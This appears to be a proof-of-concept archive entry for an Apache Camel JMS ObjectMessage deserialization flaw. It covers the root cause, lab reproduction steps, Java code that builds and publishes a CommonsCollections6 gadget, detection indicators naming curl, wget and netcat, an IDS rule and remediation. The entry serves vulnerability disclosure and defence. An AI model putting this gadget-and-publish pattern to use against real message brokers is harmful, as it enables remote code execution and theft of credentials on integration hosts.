PoC Archive PoC Archive
CVE-2026-40860 category: network CVSS 9.8 (CRITICAL)
Patched

Apache Camel camel-jms ObjectMessage Deserialization RCE (CVE-2026-40860)

Published: 2026-11-27 • Researcher: Andrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Venkatraman Kumar (Securin)

Target software Apache Camel camel-jms, plus the components that reach the same binding: camel-sjms, camel-sjms2, camel-amqp, camel-activemq and camel-activemq6
Affected versions From 3.0.0 before 4.14.7; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.7, 4.18.2 and 4.20.0
Status Weaponized (complete lab reproducer: vulnerable consumer, real broker, gadget that executes a command and a file-creation proof; not rebuilt while preparing this entry)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-40860 (JIRA CAMEL-23321)
Category
network
Affected product
Apache Camel camel-jms, plus the components that reach the same binding: camel-sjms, camel-sjms2, camel-amqp, camel-activemq and camel-activemq6
Affected versions
From 3.0.0 before 4.14.7; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.7, 4.18.2 and 4.20.0
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-07-10 (upstream commit 6914563, “CVE-2026-40860: camel-jms JMS ObjectMessage deserialization reproducer”)
Author / ResearcherAndrea Cosentino (GitHub: oscerd), Apache Camel committer, for the reproducer; vulnerability discovered and reported by Venkatraman Kumar (Securin)
CVE / AdvisoryCVE-2026-40860 (JIRA CAMEL-23321)
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD; vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H); EPSS 0.017. The Apache advisory labels it High; NVD scores it Critical.
StatusWeaponized (complete lab reproducer: vulnerable consumer, real broker, gadget that executes a command and a file-creation proof; not rebuilt while preparing this entry)
TagsRCE, Java deserialization, JMS, ActiveMQ, Artemis, Camel, ObjectMessage, gadget chain, commons-collections, CWE-502
RelatedN/A

Affected Target

FieldValue
Software / SystemApache Camel camel-jms, plus the components that reach the same binding: camel-sjms, camel-sjms2, camel-amqp, camel-activemq and camel-activemq6
Versions AffectedFrom 3.0.0 before 4.14.7; from 4.15.0 before 4.18.2; from 4.19.0 before 4.20.0. Fixed in 4.14.7, 4.18.2 and 4.20.0
Language / PlatformJava 17+ (the reproducer targets Java 21 in Docker), Maven 3.8+, Spring Boot 3.2, ActiveMQ Artemis broker
Authentication RequiredPartial — the attacker must be able to publish to a queue or topic that the Camel route consumes; the lab broker uses admin/admin and permits open producers
Network Access RequiredYes — JMS (OpenWire, TCP/61616 in the lab) toward the broker

Summary

Apache Camel’s JMS binding deserializes the payload of every incoming ObjectMessage through ObjectMessage.getObject when the mapJmsMessage option is enabled, which is the default, and it applies no ObjectInputFilter, class allow list or class deny list of its own. Any party able to publish a message to a queue or topic that a Camel route consumes can therefore deliver a serialized Java object that is deserialized inside the Camel JVM. If a gadget library such as commons-collections 3.2.1 is present on the classpath and the JMS provider deserializes the payload, the gadget runs attacker code with the privileges of the Camel application. The archived reproducer wires a vulnerable Camel 4.18.1 consumer to a real ActiveMQ Artemis broker, publishes a CommonsCollections6 gadget as an ObjectMessage, and proves code execution by creating a file on the host.

Vulnerability Details

Root Cause

CWE-502, deserialization of untrusted data. In JmsBinding.extractBodyFromJms, an incoming message that is an instance of ObjectMessage is converted to its body with ObjectMessage.getObject(), and the returned object becomes the Camel exchange body. Camel performs no class filtering at that point: no ObjectInputFilter, no allow list, no deny list. Deserialization happens earlier still, inside the JMS provider’s ObjectInputStream, so the attack fires during getObject() regardless of what the route does with the body. Because mapJmsMessage defaults to true and is exactly what enables the ObjectMessage path, every default-configured camel-jms consumer is exposed. The same code is reached transitively by camel-sjms2 through SjmsEndpoint, by camel-amqp through AMQPJmsBinding, and by the other JmsComponent-based components. The fix adds a default but configurable ObjectInputFilter allow list; the Camel commit notes that the check runs after the provider has already deserialized the payload, so it stops unexpected classes from reaching the route but cannot by itself stop a gadget whose readObject fires inside the provider.

Attack Vector

An attacker publishes a JMS ObjectMessage whose serialized body is a gadget chain to a destination the Camel application consumes. In the lab the publisher is an HTTP endpoint on the same application, which keeps the demonstration self-contained; in a real deployment the attacker is any producer with write access to the destination — a shared broker, a topic with open producers, or a queue fed by an untrusted upstream. The victim route only logs the body, which is enough: the command runs during deserialization, before the route sees the message.

Impact

Remote code execution as the user running the Camel application. That yields arbitrary command execution, file read and write, credential and configuration theft from the integration host, and typically pivoting into the broker and the systems behind it, since Camel applications usually hold credentials for many downstream systems. Any of the affected components in the same JVM is equally reachable. A route that merely consumes a queue, with no obvious external interface, is enough — the exposed surface is the message broker rather than the application’s HTTP API.

Environment / Lab Setup

Output
OS:          Linux host with Docker and Docker Compose
Target:      The reproducer application (Camel 4.18.1, camel-jms, Java 21) on :8080
Broker:      Apache ActiveMQ Artemis (quay.io/artemiscloud/activemq-artemis-broker),
             OpenWire acceptor on :61616, console on :8161, admin/admin
Attacker:    Any JMS producer able to reach the broker; the lab uses the
             application's own /exploit/attack endpoint for convenience
Tools:       Java 17+, Maven 3.8+, Docker, curl

Setup Steps

Shell script
1
2
mvn clean package -DskipTests
docker compose up -d --build

The build deliberately keeps commons-collections 3.2.1 on the classpath as the gadget library and sets trustAllPackages=true on the ActiveMQ connection factory, both of which are documented preconditions of the vulnerability rather than artefacts of the lab.

Proof of Concept

Step-by-Step Reproduction

  1. Build and start — the compose file brings up the Artemis broker and the Camel app.

    Shell script
    1
    2
    
    mvn clean package -DskipTests
    docker compose up -d --build
  2. Trigger deserialization — publishing the malicious ObjectMessage is the whole attack.

    Shell script
    1
    
    curl -s http://localhost:8080/exploit/attack
  3. Observe the proof — the returned text reports whether the command executed, and the file is visible in the container.

    Shell script
    1
    
    docker exec cve-2026-40860 ls -la /tmp/pwned
  4. Read the victim log — the consumer logs the deserialized body type, confirming that the message reached the route after the gadget fired.

    Shell script
    1
    
    docker logs cve-2026-40860 | grep -i "Consumed message"
  5. Clean up — stop the lab.

    Shell script
    1
    
    docker compose down

Exploit Code

See the src/main/java/com/example/ tree in this folder for the complete implementation, and upstream-README.md for the original layout description.

The attacker side builds a CommonsCollections6 chain, wraps it in an ObjectMessage and sends it to the consumed queue:

Java source
1
2
3
4
5
6
7
8
9
Serializable gadget = (Serializable) Gadget.commonsCollections6(
        new String[] { "/usr/bin/touch", PROOF });

try (Connection connection = connectionFactory.createConnection()) {
    connection.start();
    Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);
    MessageProducer producer = session.createProducer(session.createQueue("evil"));
    producer.send(session.createObjectMessage(gadget));
}

The gadget fires during readObject: HashSet.readObject re-inserts its element, which computes TiedMapEntry.hashCode, which calls LazyMap.get, which runs the ChainedTransformer, which reflectively invokes Runtime.exec with the supplied argument vector. The chain is inert while being serialized, so it survives the trip through the broker.

The victim is a single route with no input validation:

Java source
1
2
3
from("jms:queue:evil")                       // mapJmsMessage defaults to true
        .routeId("victim-jms-consumer")
        .log("Consumed message, body type: ${body.class.name}");

Expected Output

Output
ObjectMessage published to queue 'evil'.
camel-jms consumer called ObjectMessage.getObject() -> deserialization.

>>> RCE proof — /tmp/pwned exists: true

and in the application log:

Output
Consumed message, body type: java.util.HashSet

Because the app runs with --add-opens java.base/java.util=ALL-UNNAMED (needed only to assemble the gadget in-process), the reflective field access in Gadget.java is not itself a vulnerability. On a real target the attacker serializes the payload offline, for example with ysoserial, and only the victim needs the gadget library.

Detection & Indicators of Compromise

Output
ObjectMessage (binary, javax.jms.ObjectMessage / application/x-java-serialized-object)
  arriving on a queue or topic whose consumers expect text, JSON or XML
Producer connections from hosts that are not part of the integration inventory
Artemis/ActiveMQ web console showing serialized-object messages on a business queue

Stack traces containing org.apache.commons.collections.functors.InvokerTransformer,
  ChainedTransformer, LazyMap or TiedMapEntry during deserialization (logged as
  "javax.management.BadAttributeValueExpExceptionReadObject" or similar gadget frames)
JDK filter rejections such as "filter status: REJECTED; filter: java.**;org.apache.camel.**;!*"
Camel JVM spawning child processes, especially shells, curl, wget or netcat
New files in /tmp or web-writable directories created at message-arrival time
Unexpected outbound connections from the integration host immediately after a message

New producer on a queue that normally has one producer; anonymous producer
Broker audit or connection logs for a client address never seen before
Sudden consumer lag or reconnects correlated with a suspicious publish

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-40860 Java serialized ObjectMessage on JMS"; flow:to_server,established; content:"application/x-java-serialized-object"; http_header; classtype:attempted-admin; sid:9024086; rev:1;)

Content matching on a binary serialized body is unreliable; the durable signals are producer identity, message type mismatch on a destination and gadget class names in JVM logs.

Remediation

ActionDetail
PatchUpgrade Camel to 4.14.7, 4.18.2 or 4.20.0 (or later), which adds the configurable deserialization allow list; apply the corresponding Red Hat errata for supported products.
WorkaroundSet mapJmsMessage=false where the route can accept the raw message, and constrain deserialization end to end: JVM-wide -Djdk.serialFilter=java.;org.apache.camel.;!* plus the provider’s own trustedPackages list (never trustAllPackages=true on an untrusted destination).
Config HardeningRemove commons-collections 3.x and other known gadget libraries from the application classpath, restrict who can publish to consumed destinations with broker authentication and per-destination ACLs, and treat every JMS destination as an untrusted input boundary. Note that the Camel-side filter alone is not sufficient because the provider deserializes first.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/oscerd/CVE-2026-40860 (0 stars, a small Maven/Spring Boot reproducer).

Review verdict: ingested. This is a genuine, self-contained lab reproducer rather than a detector or a write-up: it contains a vulnerable consumer route, a real broker deployment, a working CommonsCollections6 gadget and an attacker-side publisher, and the upstream README documents the file-creation proof. The gadget’s payload is /usr/bin/touch on a file in /tmp, which is benign; there is no C2, persistence, evasion, keylogger, miner or stealer content. Everything needed to rebuild the lab is archived: pom.xml, Dockerfile, docker-compose.yml, application.properties and the five Java sources, with the upstream README copied verbatim as upstream-README.md. A three-line research-use comment was added at the top of ExploitController.java; the code is otherwise unchanged.

License: the repository has no LICENSE file, so copyright remains with the author and no reuse rights are granted. The Apache Camel project itself is Apache-2.0, but that does not license this reproducer repository.

Limitations: the demonstration requires two preconditions that are deliberate here and not universal in the wild — a gadget library (commons-collections 3.2.1) on the classpath and a provider configured to deserialize (trustAllPackages=true). Without either, the message reaches the route but no code runs, and recent JDK versions reject unsafe classes by default when a process-wide jdk.serialFilter is set. The in-process gadget assembly needs –add-opens java.base/java.util=ALL-UNNAMED, which is why the Dockerfile carries that flag; a real attacker would serialize the payload out of band instead. The lab hardcodes broker credentials admin/admin and exposes the Artemis console on 8161, which is fine for an isolated lab but must not be copied into a shared environment. The project was not built or run while preparing this entry because the preparation environment cannot reach Maven Central or pull the Artemis image, so the build and the Expected Output reflect the upstream documentation rather than an independent run here.